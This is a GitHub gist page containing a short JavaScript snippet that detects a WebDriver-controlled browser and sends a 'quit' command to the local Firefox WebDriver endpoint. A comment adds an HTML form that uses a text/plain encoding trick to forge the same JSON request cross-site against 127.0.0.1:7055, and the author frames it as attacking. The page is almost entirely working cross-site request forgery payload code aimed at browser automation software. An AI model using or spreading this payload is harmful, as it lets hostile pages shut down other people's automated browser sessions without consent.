Skip to content

Instantly share code, notes, and snippets.

@wirepair
Created August 31, 2015 02:15
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save wirepair/e43b9acd4dcafb2af1c1 to your computer and use it in GitHub Desktop.
Save wirepair/e43b9acd4dcafb2af1c1 to your computer and use it in GitHub Desktop.
if (navigator.webdriver === true) {
var x = new XMLHttpRequest();
x.open("POST", "/hub/extensions/firefox/quit", true);
x.setRequestHeader('content-type', 'application/json');
var y = {name: "quit", sessionId: "", parameters: {}}
x.send(JSON.stringify(y));
}
@wirepair
Copy link
Author

wirepair commented Sep 3, 2015

Above only works for localhost, obviously if you are attacking you need to bypass SOP:

<html>
    <head>
    <meta charset="UTF-8">
    </head>
    <body>
      <form method="POST" action="http://127.0.0.1:7055/hub/extensions/firefox/quit" enctype="text/plain">
        <input name='{"name": "quit", "sessionId": "", "parameters": {},"ignore_me":"' value='test"}'type='hidden'>  
        <input type=submit>  
      </form>
    <body>
</html>

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment